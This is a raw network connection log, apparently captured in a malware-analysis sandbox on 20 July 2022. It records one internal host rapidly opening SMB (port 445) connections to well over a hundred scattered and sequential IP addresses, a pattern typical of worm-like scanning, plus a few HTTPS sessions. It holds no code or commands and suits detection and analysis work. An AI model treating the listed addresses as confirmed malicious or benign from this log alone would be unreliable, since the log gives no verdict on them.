Jul 20, 2022 19:31:22.813805103 CEST	443	51021	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:22.814125061 CEST	443	51021	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:22.815325975 CEST	51021	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:22.815341949 CEST	51021	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:22.815351009 CEST	443	51021	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:22.818171024 CEST	51021	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:22.845254898 CEST	443	51021	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:22.845341921 CEST	443	51021	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:22.845442057 CEST	51021	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:22.845814943 CEST	51021	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:22.845834970 CEST	443	51021	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:23.495163918 CEST	51023	445	192.168.2.7	30.75.73.200
Jul 20, 2022 19:31:23.499850988 CEST	51025	445	192.168.2.7	108.51.101.239
Jul 20, 2022 19:31:23.499854088 CEST	51024	445	192.168.2.7	78.234.15.212
Jul 20, 2022 19:31:23.499941111 CEST	51026	445	192.168.2.7	113.0.17.39
Jul 20, 2022 19:31:23.500003099 CEST	51028	445	192.168.2.7	17.219.50.3
Jul 20, 2022 19:31:23.500010014 CEST	51027	445	192.168.2.7	65.115.31.181
Jul 20, 2022 19:31:23.500087023 CEST	51029	445	192.168.2.7	214.46.223.92
Jul 20, 2022 19:31:23.500189066 CEST	51031	445	192.168.2.7	52.186.186.50
Jul 20, 2022 19:31:23.500216961 CEST	51030	445	192.168.2.7	78.156.236.213
Jul 20, 2022 19:31:23.500345945 CEST	51033	445	192.168.2.7	55.73.86.83
Jul 20, 2022 19:31:23.500390053 CEST	51032	445	192.168.2.7	98.130.191.76
Jul 20, 2022 19:31:23.500401020 CEST	51034	445	192.168.2.7	96.129.12.193
Jul 20, 2022 19:31:23.500525951 CEST	51036	445	192.168.2.7	171.129.156.240
Jul 20, 2022 19:31:23.500549078 CEST	51035	445	192.168.2.7	218.177.98.197
Jul 20, 2022 19:31:23.500663996 CEST	51037	445	192.168.2.7	10.52.23.84
Jul 20, 2022 19:31:23.500778913 CEST	51039	445	192.168.2.7	223.234.6.251
Jul 20, 2022 19:31:23.500791073 CEST	51038	445	192.168.2.7	191.136.41.139
Jul 20, 2022 19:31:23.500842094 CEST	51040	445	192.168.2.7	40.18.77.159
Jul 20, 2022 19:31:23.500866890 CEST	51041	445	192.168.2.7	85.243.144.141
Jul 20, 2022 19:31:23.554199934 CEST	51042	445	192.168.2.7	213.142.151.28
Jul 20, 2022 19:31:23.584959030 CEST	445	51030	78.156.236.213	192.168.2.7
Jul 20, 2022 19:31:23.609194040 CEST	51044	445	192.168.2.7	100.50.46.231
Jul 20, 2022 19:31:23.609975100 CEST	51046	445	192.168.2.7	112.40.27.183
Jul 20, 2022 19:31:23.609997034 CEST	51045	445	192.168.2.7	108.78.14.108
Jul 20, 2022 19:31:23.610110998 CEST	51047	445	192.168.2.7	88.43.250.254
Jul 20, 2022 19:31:23.610220909 CEST	51049	445	192.168.2.7	115.179.188.194
Jul 20, 2022 19:31:23.610239983 CEST	51048	445	192.168.2.7	83.179.248.85
Jul 20, 2022 19:31:23.610331059 CEST	51051	445	192.168.2.7	53.239.164.35
Jul 20, 2022 19:31:23.610440969 CEST	51053	445	192.168.2.7	59.224.182.62
Jul 20, 2022 19:31:23.610569954 CEST	51052	445	192.168.2.7	18.253.182.112
Jul 20, 2022 19:31:23.610573053 CEST	51054	445	192.168.2.7	47.209.78.120
Jul 20, 2022 19:31:23.610589981 CEST	51055	445	192.168.2.7	142.79.175.250
Jul 20, 2022 19:31:23.610686064 CEST	51056	445	192.168.2.7	30.249.86.146
Jul 20, 2022 19:31:23.905484915 CEST	445	51049	115.179.188.194	192.168.2.7
Jul 20, 2022 19:31:24.118469954 CEST	51030	445	192.168.2.7	78.156.236.213
Jul 20, 2022 19:31:24.202981949 CEST	445	51030	78.156.236.213	192.168.2.7
Jul 20, 2022 19:31:24.505943060 CEST	51049	445	192.168.2.7	115.179.188.194
Jul 20, 2022 19:31:24.623816967 CEST	51059	445	192.168.2.7	206.58.140.49
Jul 20, 2022 19:31:24.623817921 CEST	51058	445	192.168.2.7	88.182.57.201
Jul 20, 2022 19:31:24.624274969 CEST	51060	445	192.168.2.7	208.9.61.117
Jul 20, 2022 19:31:24.624304056 CEST	51061	445	192.168.2.7	171.247.33.19
Jul 20, 2022 19:31:24.624407053 CEST	51062	445	192.168.2.7	207.51.44.68
Jul 20, 2022 19:31:24.624439955 CEST	51063	445	192.168.2.7	54.34.249.79
Jul 20, 2022 19:31:24.624511003 CEST	51064	445	192.168.2.7	182.39.91.186
Jul 20, 2022 19:31:24.624603987 CEST	51065	445	192.168.2.7	6.218.217.175
Jul 20, 2022 19:31:24.624615908 CEST	51066	445	192.168.2.7	140.39.51.92
Jul 20, 2022 19:31:24.624728918 CEST	51067	445	192.168.2.7	29.76.136.112
Jul 20, 2022 19:31:24.624850035 CEST	51069	445	192.168.2.7	162.79.50.184
Jul 20, 2022 19:31:24.624871016 CEST	51068	445	192.168.2.7	158.14.233.44
Jul 20, 2022 19:31:24.624969959 CEST	51070	445	192.168.2.7	221.1.170.69
Jul 20, 2022 19:31:24.625061035 CEST	51072	445	192.168.2.7	95.145.91.167
Jul 20, 2022 19:31:24.625087023 CEST	51071	445	192.168.2.7	49.171.48.7
Jul 20, 2022 19:31:24.625139952 CEST	51073	445	192.168.2.7	125.20.123.132
Jul 20, 2022 19:31:24.625261068 CEST	51075	445	192.168.2.7	155.177.186.13
Jul 20, 2022 19:31:24.625277042 CEST	51074	445	192.168.2.7	112.64.43.47
Jul 20, 2022 19:31:24.625397921 CEST	51076	445	192.168.2.7	66.119.170.99
Jul 20, 2022 19:31:24.631894112 CEST	51077	445	192.168.2.7	213.142.151.29
Jul 20, 2022 19:31:24.727821112 CEST	51078	445	192.168.2.7	190.192.96.217
Jul 20, 2022 19:31:24.730770111 CEST	51081	445	192.168.2.7	192.233.136.198
Jul 20, 2022 19:31:24.730916977 CEST	51080	445	192.168.2.7	39.100.164.61
Jul 20, 2022 19:31:24.730920076 CEST	51083	445	192.168.2.7	24.60.234.6
Jul 20, 2022 19:31:24.730940104 CEST	51082	445	192.168.2.7	99.194.229.69
Jul 20, 2022 19:31:24.730994940 CEST	51084	445	192.168.2.7	122.178.87.24
Jul 20, 2022 19:31:24.731097937 CEST	51086	445	192.168.2.7	54.159.129.83
Jul 20, 2022 19:31:24.731169939 CEST	51087	445	192.168.2.7	200.35.12.2
Jul 20, 2022 19:31:24.731220961 CEST	51088	445	192.168.2.7	85.115.208.134
Jul 20, 2022 19:31:24.731287003 CEST	51090	445	192.168.2.7	95.173.247.128
Jul 20, 2022 19:31:24.731313944 CEST	51089	445	192.168.2.7	1.118.123.33
Jul 20, 2022 19:31:24.737452984 CEST	51091	445	192.168.2.7	61.180.189.146
Jul 20, 2022 19:31:24.801198959 CEST	445	51049	115.179.188.194	192.168.2.7
Jul 20, 2022 19:31:25.710746050 CEST	51094	445	192.168.2.7	213.142.151.30
Jul 20, 2022 19:31:25.742930889 CEST	51095	445	192.168.2.7	44.24.196.90
Jul 20, 2022 19:31:25.744829893 CEST	51096	445	192.168.2.7	207.54.164.153
Jul 20, 2022 19:31:25.763288021 CEST	51097	445	192.168.2.7	204.32.215.160
Jul 20, 2022 19:31:25.767786026 CEST	51098	445	192.168.2.7	53.87.20.66
Jul 20, 2022 19:31:25.767980099 CEST	51099	445	192.168.2.7	217.144.222.222
Jul 20, 2022 19:31:25.768173933 CEST	51100	445	192.168.2.7	53.217.193.43
Jul 20, 2022 19:31:25.768357038 CEST	51101	445	192.168.2.7	14.53.132.197
Jul 20, 2022 19:31:25.768593073 CEST	51102	445	192.168.2.7	82.191.63.33
Jul 20, 2022 19:31:25.768655062 CEST	51103	445	192.168.2.7	20.47.189.103
Jul 20, 2022 19:31:25.768788099 CEST	51104	445	192.168.2.7	90.238.219.235
Jul 20, 2022 19:31:25.768870115 CEST	51105	445	192.168.2.7	63.93.171.96
Jul 20, 2022 19:31:25.768987894 CEST	51106	445	192.168.2.7	121.95.144.235
Jul 20, 2022 19:31:25.769081116 CEST	51107	445	192.168.2.7	27.210.178.37
Jul 20, 2022 19:31:25.769160986 CEST	51108	445	192.168.2.7	162.184.116.99
Jul 20, 2022 19:31:25.769251108 CEST	51109	445	192.168.2.7	72.173.25.130
Jul 20, 2022 19:31:25.769335032 CEST	51111	445	192.168.2.7	91.151.191.95
Jul 20, 2022 19:31:25.769366980 CEST	51110	445	192.168.2.7	94.6.50.247
Jul 20, 2022 19:31:25.769462109 CEST	51112	445	192.168.2.7	138.98.4.127
Jul 20, 2022 19:31:25.769484997 CEST	51113	445	192.168.2.7	38.110.200.10
Jul 20, 2022 19:31:25.851864100 CEST	51115	445	192.168.2.7	87.219.55.39
Jul 20, 2022 19:31:25.852535009 CEST	51116	445	192.168.2.7	19.146.19.14
Jul 20, 2022 19:31:25.853261948 CEST	51117	445	192.168.2.7	34.155.150.252
Jul 20, 2022 19:31:25.853967905 CEST	51118	445	192.168.2.7	53.57.233.181
Jul 20, 2022 19:31:25.854990959 CEST	51119	445	192.168.2.7	41.222.92.130
Jul 20, 2022 19:31:25.855844021 CEST	51120	445	192.168.2.7	50.180.208.254
Jul 20, 2022 19:31:25.857265949 CEST	51122	445	192.168.2.7	21.19.243.194
Jul 20, 2022 19:31:25.857964039 CEST	51123	445	192.168.2.7	104.241.60.229
Jul 20, 2022 19:31:25.858671904 CEST	51124	445	192.168.2.7	161.50.9.184
Jul 20, 2022 19:31:25.859335899 CEST	51125	445	192.168.2.7	102.40.116.217
Jul 20, 2022 19:31:25.860040903 CEST	51126	445	192.168.2.7	202.241.78.59
Jul 20, 2022 19:31:25.860733986 CEST	51127	445	192.168.2.7	91.146.51.200
Jul 20, 2022 19:31:26.007320881 CEST	445	51119	41.222.92.130	192.168.2.7
Jul 20, 2022 19:31:26.615349054 CEST	51119	445	192.168.2.7	41.222.92.130
Jul 20, 2022 19:31:26.788743973 CEST	51130	445	192.168.2.7	213.142.151.31
Jul 20, 2022 19:31:26.867587090 CEST	51131	445	192.168.2.7	220.1.165.29
Jul 20, 2022 19:31:26.868294001 CEST	51132	445	192.168.2.7	119.132.63.37
Jul 20, 2022 19:31:26.905881882 CEST	51133	445	192.168.2.7	77.239.179.49
Jul 20, 2022 19:31:26.912154913 CEST	51134	445	192.168.2.7	206.103.64.65
Jul 20, 2022 19:31:26.912338018 CEST	51135	445	192.168.2.7	77.78.226.194
Jul 20, 2022 19:31:26.912643909 CEST	51136	445	192.168.2.7	212.128.71.112
Jul 20, 2022 19:31:26.912925005 CEST	51137	445	192.168.2.7	74.85.103.104
Jul 20, 2022 19:31:26.913136959 CEST	51138	445	192.168.2.7	126.84.59.99
Jul 20, 2022 19:31:26.913254976 CEST	51139	445	192.168.2.7	72.55.157.81
Jul 20, 2022 19:31:26.913366079 CEST	51140	445	192.168.2.7	37.149.230.78
Jul 20, 2022 19:31:26.913497925 CEST	51141	445	192.168.2.7	47.203.126.128
Jul 20, 2022 19:31:26.913578033 CEST	51142	445	192.168.2.7	155.148.199.192
Jul 20, 2022 19:31:26.913733006 CEST	51144	445	192.168.2.7	79.207.137.88
Jul 20, 2022 19:31:26.913810968 CEST	51145	445	192.168.2.7	126.41.158.1
Jul 20, 2022 19:31:26.913952112 CEST	51143	445	192.168.2.7	218.177.123.51
Jul 20, 2022 19:31:26.913960934 CEST	51147	445	192.168.2.7	2.9.61.130
Jul 20, 2022 19:31:26.914098024 CEST	51146	445	192.168.2.7	74.189.13.229
Jul 20, 2022 19:31:26.914110899 CEST	51149	445	192.168.2.7	107.89.122.129
Jul 20, 2022 19:31:26.914545059 CEST	51148	445	192.168.2.7	4.187.236.119
Jul 20, 2022 19:31:26.976989031 CEST	51150	445	192.168.2.7	214.86.204.224
Jul 20, 2022 19:31:26.977703094 CEST	51151	445	192.168.2.7	123.221.182.157
Jul 20, 2022 19:31:26.978403091 CEST	51152	445	192.168.2.7	55.102.25.198
Jul 20, 2022 19:31:26.979089975 CEST	51153	445	192.168.2.7	205.101.133.180
Jul 20, 2022 19:31:26.979971886 CEST	51154	445	192.168.2.7	113.93.109.163
Jul 20, 2022 19:31:26.980679035 CEST	51155	445	192.168.2.7	86.197.238.224
Jul 20, 2022 19:31:26.982055902 CEST	51157	445	192.168.2.7	106.177.25.236
Jul 20, 2022 19:31:26.982762098 CEST	51158	445	192.168.2.7	204.162.122.27
Jul 20, 2022 19:31:26.983447075 CEST	51159	445	192.168.2.7	212.2.82.58
Jul 20, 2022 19:31:26.984164000 CEST	51160	445	192.168.2.7	16.62.49.38
Jul 20, 2022 19:31:26.985238075 CEST	51161	445	192.168.2.7	103.230.162.240
Jul 20, 2022 19:31:26.986634970 CEST	51162	445	192.168.2.7	159.103.157.58
Jul 20, 2022 19:31:27.866107941 CEST	51167	445	192.168.2.7	213.142.151.32
Jul 20, 2022 19:31:27.993083000 CEST	51168	445	192.168.2.7	68.141.11.24
Jul 20, 2022 19:31:27.994081020 CEST	51169	445	192.168.2.7	199.5.155.182
Jul 20, 2022 19:31:28.034250975 CEST	51170	445	192.168.2.7	81.102.248.144
Jul 20, 2022 19:31:28.054018021 CEST	51171	445	192.168.2.7	217.207.102.189
Jul 20, 2022 19:31:28.062416077 CEST	51172	445	192.168.2.7	120.213.19.193
Jul 20, 2022 19:31:28.063222885 CEST	51173	445	192.168.2.7	172.54.85.77
Jul 20, 2022 19:31:28.063525915 CEST	51174	445	192.168.2.7	153.171.78.2
Jul 20, 2022 19:31:28.063556910 CEST	51175	445	192.168.2.7	93.183.91.110
Jul 20, 2022 19:31:28.063663006 CEST	51176	445	192.168.2.7	67.152.48.25
Jul 20, 2022 19:31:28.063766003 CEST	51177	445	192.168.2.7	157.166.180.202
Jul 20, 2022 19:31:28.063777924 CEST	51178	445	192.168.2.7	12.229.56.21
Jul 20, 2022 19:31:28.063885927 CEST	51179	445	192.168.2.7	12.205.47.219
Jul 20, 2022 19:31:28.063895941 CEST	51180	445	192.168.2.7	222.99.14.175
Jul 20, 2022 19:31:28.063990116 CEST	51181	445	192.168.2.7	85.146.32.115
Jul 20, 2022 19:31:28.064037085 CEST	51182	445	192.168.2.7	221.171.117.28
Jul 20, 2022 19:31:28.064090014 CEST	51183	445	192.168.2.7	111.19.111.198
Jul 20, 2022 19:31:28.064163923 CEST	51184	445	192.168.2.7	147.17.225.93
Jul 20, 2022 19:31:28.064187050 CEST	51185	445	192.168.2.7	96.193.111.246
Jul 20, 2022 19:31:28.064280033 CEST	51186	445	192.168.2.7	91.148.2.59
Jul 20, 2022 19:31:28.100723028 CEST	51187	445	192.168.2.7	104.158.52.94
Jul 20, 2022 19:31:28.101520061 CEST	51188	445	192.168.2.7	151.89.41.146
Jul 20, 2022 19:31:28.102268934 CEST	51189	445	192.168.2.7	87.43.46.110
Jul 20, 2022 19:31:28.103024960 CEST	51190	445	192.168.2.7	3.203.98.132
Jul 20, 2022 19:31:28.103769064 CEST	51191	445	192.168.2.7	109.40.179.63
Jul 20, 2022 19:31:28.104528904 CEST	51192	445	192.168.2.7	45.64.163.13
Jul 20, 2022 19:31:28.106163979 CEST	51194	445	192.168.2.7	146.137.146.155
Jul 20, 2022 19:31:28.126368046 CEST	51196	445	192.168.2.7	147.19.212.123
Jul 20, 2022 19:31:28.126481056 CEST	51197	445	192.168.2.7	219.13.201.76
Jul 20, 2022 19:31:28.126600027 CEST	51198	445	192.168.2.7	194.2.55.12
Jul 20, 2022 19:31:28.126708031 CEST	51199	445	192.168.2.7	157.81.246.38
Jul 20, 2022 19:31:28.518342018 CEST	51203	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:28.518378019 CEST	443	51203	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:28.518465996 CEST	51203	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:28.519258022 CEST	51203	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:28.519279003 CEST	443	51203	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:28.609164000 CEST	443	51203	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:28.609334946 CEST	51203	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:28.612871885 CEST	51203	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:28.612895012 CEST	443	51203	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:28.613312960 CEST	443	51203	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:28.623414993 CEST	51203	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:28.623485088 CEST	51203	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:28.623497963 CEST	443	51203	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:28.623677969 CEST	51203	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:28.650830030 CEST	443	51203	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:28.650928974 CEST	443	51203	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:28.651026964 CEST	51203	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:28.651235104 CEST	51203	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:28.651256084 CEST	443	51203	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:28.944828033 CEST	51205	445	192.168.2.7	213.142.151.33
Jul 20, 2022 19:31:28.998497009 CEST	445	51205	213.142.151.33	192.168.2.7
Jul 20, 2022 19:31:28.998647928 CEST	51205	445	192.168.2.7	213.142.151.33
Jul 20, 2022 19:31:29.001095057 CEST	51205	445	192.168.2.7	213.142.151.33
Jul 20, 2022 19:31:29.016172886 CEST	51206	445	192.168.2.7	213.142.151.33
Jul 20, 2022 19:31:29.053872108 CEST	445	51205	213.142.151.33	192.168.2.7
Jul 20, 2022 19:31:29.053919077 CEST	445	51205	213.142.151.33	192.168.2.7
Jul 20, 2022 19:31:29.054439068 CEST	51205	445	192.168.2.7	213.142.151.33
Jul 20, 2022 19:31:29.073311090 CEST	445	51206	213.142.151.33	192.168.2.7
Jul 20, 2022 19:31:29.073510885 CEST	51206	445	192.168.2.7	213.142.151.33
Jul 20, 2022 19:31:29.085570097 CEST	51206	445	192.168.2.7	213.142.151.33
Jul 20, 2022 19:31:29.117243052 CEST	51208	445	192.168.2.7	183.143.184.244
Jul 20, 2022 19:31:29.117897034 CEST	51209	445	192.168.2.7	53.9.68.28
Jul 20, 2022 19:31:29.142419100 CEST	445	51206	213.142.151.33	192.168.2.7
Jul 20, 2022 19:31:29.149406910 CEST	51210	445	192.168.2.7	142.212.226.244
Jul 20, 2022 19:31:29.180450916 CEST	51211	445	192.168.2.7	182.68.57.222
Jul 20, 2022 19:31:29.192971945 CEST	51212	445	192.168.2.7	42.214.27.178
Jul 20, 2022 19:31:29.198344946 CEST	51213	445	192.168.2.7	112.125.132.111
Jul 20, 2022 19:31:29.200722933 CEST	51215	445	192.168.2.7	187.252.214.2
Jul 20, 2022 19:31:29.200772047 CEST	51214	445	192.168.2.7	50.192.27.125
Jul 20, 2022 19:31:29.200854063 CEST	51216	445	192.168.2.7	145.23.26.220
Jul 20, 2022 19:31:29.202014923 CEST	51219	445	192.168.2.7	176.197.12.187
Jul 20, 2022 19:31:29.202069044 CEST	51217	445	192.168.2.7	4.22.35.189
Jul 20, 2022 19:31:29.202188015 CEST	51218	445	192.168.2.7	223.76.157.190
Jul 20, 2022 19:31:29.202321053 CEST	51222	445	192.168.2.7	67.12.181.240
Jul 20, 2022 19:31:29.202333927 CEST	51220	445	192.168.2.7	153.223.235.154
Jul 20, 2022 19:31:29.202383995 CEST	51221	445	192.168.2.7	172.153.45.241
Jul 20, 2022 19:31:29.202451944 CEST	51223	445	192.168.2.7	216.176.36.133
Jul 20, 2022 19:31:29.202452898 CEST	51224	445	192.168.2.7	55.209.137.246
Jul 20, 2022 19:31:29.202558994 CEST	51226	445	192.168.2.7	108.149.167.224
Jul 20, 2022 19:31:29.202595949 CEST	51225	445	192.168.2.7	8.218.52.121
Jul 20, 2022 19:31:29.225991964 CEST	51227	445	192.168.2.7	112.141.51.237
Jul 20, 2022 19:31:29.230151892 CEST	51228	445	192.168.2.7	173.30.242.188
Jul 20, 2022 19:31:29.234302998 CEST	51229	445	192.168.2.7	109.100.227.27
Jul 20, 2022 19:31:29.235109091 CEST	51230	445	192.168.2.7	144.72.181.130
Jul 20, 2022 19:31:29.235289097 CEST	51231	445	192.168.2.7	71.100.86.17
Jul 20, 2022 19:31:29.235420942 CEST	51232	445	192.168.2.7	126.32.59.216
Jul 20, 2022 19:31:29.235573053 CEST	51233	445	192.168.2.7	53.88.235.201
Jul 20, 2022 19:31:29.249196053 CEST	51237	445	192.168.2.7	53.187.131.29
Jul 20, 2022 19:31:29.250266075 CEST	51238	445	192.168.2.7	155.82.180.241
Jul 20, 2022 19:31:29.251034021 CEST	51239	445	192.168.2.7	69.146.203.138
Jul 20, 2022 19:31:29.251604080 CEST	51240	445	192.168.2.7	81.233.82.252
Jul 20, 2022 19:31:29.252135038 CEST	51241	445	192.168.2.7	173.130.243.165
Jul 20, 2022 19:31:30.288228989 CEST	51245	445	192.168.2.7	95.0.135.103
Jul 20, 2022 19:31:30.288899899 CEST	51246	445	192.168.2.7	64.164.219.36
Jul 20, 2022 19:31:30.289588928 CEST	51247	445	192.168.2.7	94.227.211.122
Jul 20, 2022 19:31:30.290239096 CEST	51248	445	192.168.2.7	157.124.146.221
Jul 20, 2022 19:31:30.291028976 CEST	51249	445	192.168.2.7	59.231.124.219
Jul 20, 2022 19:31:30.307554007 CEST	51250	445	192.168.2.7	139.0.85.25
Jul 20, 2022 19:31:30.308319092 CEST	51251	445	192.168.2.7	126.40.18.5
Jul 20, 2022 19:31:30.309063911 CEST	51252	445	192.168.2.7	113.62.248.113
Jul 20, 2022 19:31:30.309798002 CEST	51253	445	192.168.2.7	110.113.26.154
Jul 20, 2022 19:31:30.310528040 CEST	51254	445	192.168.2.7	96.146.67.32
Jul 20, 2022 19:31:30.311255932 CEST	51255	445	192.168.2.7	71.250.127.173
Jul 20, 2022 19:31:30.311954975 CEST	51256	445	192.168.2.7	7.19.54.211
Jul 20, 2022 19:31:30.312674046 CEST	51257	445	192.168.2.7	71.253.98.19
Jul 20, 2022 19:31:30.313342094 CEST	51258	445	192.168.2.7	65.58.150.68
Jul 20, 2022 19:31:30.314018011 CEST	51259	445	192.168.2.7	213.195.82.201
Jul 20, 2022 19:31:30.314702988 CEST	51260	445	192.168.2.7	21.175.22.56
Jul 20, 2022 19:31:30.315412045 CEST	51261	445	192.168.2.7	59.137.109.69
Jul 20, 2022 19:31:30.316097021 CEST	51262	445	192.168.2.7	161.42.185.72
Jul 20, 2022 19:31:30.316765070 CEST	51263	445	192.168.2.7	158.202.97.61
Jul 20, 2022 19:31:30.349581003 CEST	445	51245	95.0.135.103	192.168.2.7
Jul 20, 2022 19:31:30.350315094 CEST	51265	445	192.168.2.7	8.121.102.133
Jul 20, 2022 19:31:30.361428022 CEST	51266	445	192.168.2.7	200.125.188.18
Jul 20, 2022 19:31:30.363708019 CEST	51267	445	192.168.2.7	96.39.86.70
Jul 20, 2022 19:31:30.364985943 CEST	51268	445	192.168.2.7	113.2.71.55
Jul 20, 2022 19:31:30.365099907 CEST	51270	445	192.168.2.7	35.144.116.116
Jul 20, 2022 19:31:30.365202904 CEST	51269	445	192.168.2.7	56.14.111.217
Jul 20, 2022 19:31:30.365205050 CEST	51271	445	192.168.2.7	56.190.2.176
Jul 20, 2022 19:31:30.372956991 CEST	51274	445	192.168.2.7	215.114.63.23
Jul 20, 2022 19:31:30.373013020 CEST	51275	445	192.168.2.7	150.249.46.155
Jul 20, 2022 19:31:30.373137951 CEST	51276	445	192.168.2.7	183.126.142.225
Jul 20, 2022 19:31:30.373239040 CEST	51278	445	192.168.2.7	189.6.52.99
Jul 20, 2022 19:31:30.373245001 CEST	51277	445	192.168.2.7	80.223.193.160
Jul 20, 2022 19:31:30.876744986 CEST	51245	445	192.168.2.7	95.0.135.103
Jul 20, 2022 19:31:30.939205885 CEST	445	51245	95.0.135.103	192.168.2.7
Jul 20, 2022 19:31:31.408454895 CEST	51283	445	192.168.2.7	66.171.169.168
Jul 20, 2022 19:31:31.409991980 CEST	51284	445	192.168.2.7	48.193.68.165
Jul 20, 2022 19:31:31.410799980 CEST	51285	445	192.168.2.7	66.107.131.251
Jul 20, 2022 19:31:31.410872936 CEST	51286	445	192.168.2.7	182.199.246.39
Jul 20, 2022 19:31:31.410948992 CEST	51287	445	192.168.2.7	207.98.126.13
Jul 20, 2022 19:31:31.429289103 CEST	51288	445	192.168.2.7	7.5.219.96
Jul 20, 2022 19:31:31.429959059 CEST	51289	445	192.168.2.7	121.23.132.104
Jul 20, 2022 19:31:31.430640936 CEST	51290	445	192.168.2.7	174.209.67.114
Jul 20, 2022 19:31:31.431740046 CEST	51291	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:31:31.431776047 CEST	443	51291	20.82.209.183	192.168.2.7
Jul 20, 2022 19:31:31.431869030 CEST	51291	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:31:31.441761017 CEST	51291	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:31:31.441782951 CEST	443	51291	20.82.209.183	192.168.2.7
Jul 20, 2022 19:31:31.447973967 CEST	51292	445	192.168.2.7	137.121.76.30
Jul 20, 2022 19:31:31.448820114 CEST	51293	445	192.168.2.7	175.191.199.219
Jul 20, 2022 19:31:31.449743986 CEST	51294	445	192.168.2.7	5.57.181.32
Jul 20, 2022 19:31:31.450701952 CEST	51295	445	192.168.2.7	98.44.242.163
Jul 20, 2022 19:31:31.451631069 CEST	51296	445	192.168.2.7	25.61.206.118
Jul 20, 2022 19:31:31.452534914 CEST	51297	445	192.168.2.7	60.203.152.28
Jul 20, 2022 19:31:31.455456018 CEST	51298	445	192.168.2.7	45.171.62.88
Jul 20, 2022 19:31:31.455740929 CEST	51299	445	192.168.2.7	151.150.25.46
Jul 20, 2022 19:31:31.455858946 CEST	51300	445	192.168.2.7	150.36.233.212
Jul 20, 2022 19:31:31.455971003 CEST	51301	445	192.168.2.7	113.67.114.44
Jul 20, 2022 19:31:31.456099033 CEST	51302	445	192.168.2.7	74.164.88.50
Jul 20, 2022 19:31:31.490092993 CEST	51303	445	192.168.2.7	153.45.218.188
Jul 20, 2022 19:31:31.492348909 CEST	51304	445	192.168.2.7	181.169.229.28
Jul 20, 2022 19:31:31.505695105 CEST	51305	445	192.168.2.7	215.198.242.35
Jul 20, 2022 19:31:31.512123108 CEST	51306	445	192.168.2.7	150.225.8.174
Jul 20, 2022 19:31:31.512346983 CEST	51307	445	192.168.2.7	212.84.30.94
Jul 20, 2022 19:31:31.512511015 CEST	51308	445	192.168.2.7	19.71.110.131
Jul 20, 2022 19:31:31.512536049 CEST	51309	445	192.168.2.7	46.28.17.89
Jul 20, 2022 19:31:31.514177084 CEST	51312	445	192.168.2.7	216.1.158.170
Jul 20, 2022 19:31:31.514208078 CEST	51313	445	192.168.2.7	174.91.114.7
Jul 20, 2022 19:31:31.514322042 CEST	51314	445	192.168.2.7	148.42.224.49
Jul 20, 2022 19:31:31.514434099 CEST	51315	445	192.168.2.7	215.154.113.63
Jul 20, 2022 19:31:31.529407978 CEST	51316	445	192.168.2.7	112.48.212.133
Jul 20, 2022 19:31:31.579551935 CEST	443	51291	20.82.209.183	192.168.2.7
Jul 20, 2022 19:31:31.588838100 CEST	51291	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:31:31.645267010 CEST	51291	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:31:31.645292997 CEST	443	51291	20.82.209.183	192.168.2.7
Jul 20, 2022 19:31:31.645644903 CEST	443	51291	20.82.209.183	192.168.2.7
Jul 20, 2022 19:31:31.646070957 CEST	51291	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:31:31.731476068 CEST	51291	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:31:31.731568098 CEST	443	51291	20.82.209.183	192.168.2.7
Jul 20, 2022 19:31:31.867933035 CEST	443	51291	20.82.209.183	192.168.2.7
Jul 20, 2022 19:31:31.868022919 CEST	443	51291	20.82.209.183	192.168.2.7
Jul 20, 2022 19:31:31.868506908 CEST	51291	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:31:31.873003960 CEST	51291	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:31:31.873023987 CEST	443	51291	20.82.209.183	192.168.2.7
Jul 20, 2022 19:31:32.150059938 CEST	51320	445	192.168.2.7	213.142.151.33
Jul 20, 2022 19:31:32.211110115 CEST	445	51320	213.142.151.33	192.168.2.7
Jul 20, 2022 19:31:32.211216927 CEST	51320	445	192.168.2.7	213.142.151.33
Jul 20, 2022 19:31:32.211417913 CEST	51320	445	192.168.2.7	213.142.151.33
Jul 20, 2022 19:31:32.270009995 CEST	445	51320	213.142.151.33	192.168.2.7
Jul 20, 2022 19:31:32.335247040 CEST	51322	445	192.168.2.7	213.142.151.34
Jul 20, 2022 19:31:32.389534950 CEST	445	51322	213.142.151.34	192.168.2.7
Jul 20, 2022 19:31:32.389951944 CEST	51322	445	192.168.2.7	213.142.151.34
Jul 20, 2022 19:31:32.390165091 CEST	51322	445	192.168.2.7	213.142.151.34
Jul 20, 2022 19:31:32.392772913 CEST	51323	445	192.168.2.7	213.142.151.34
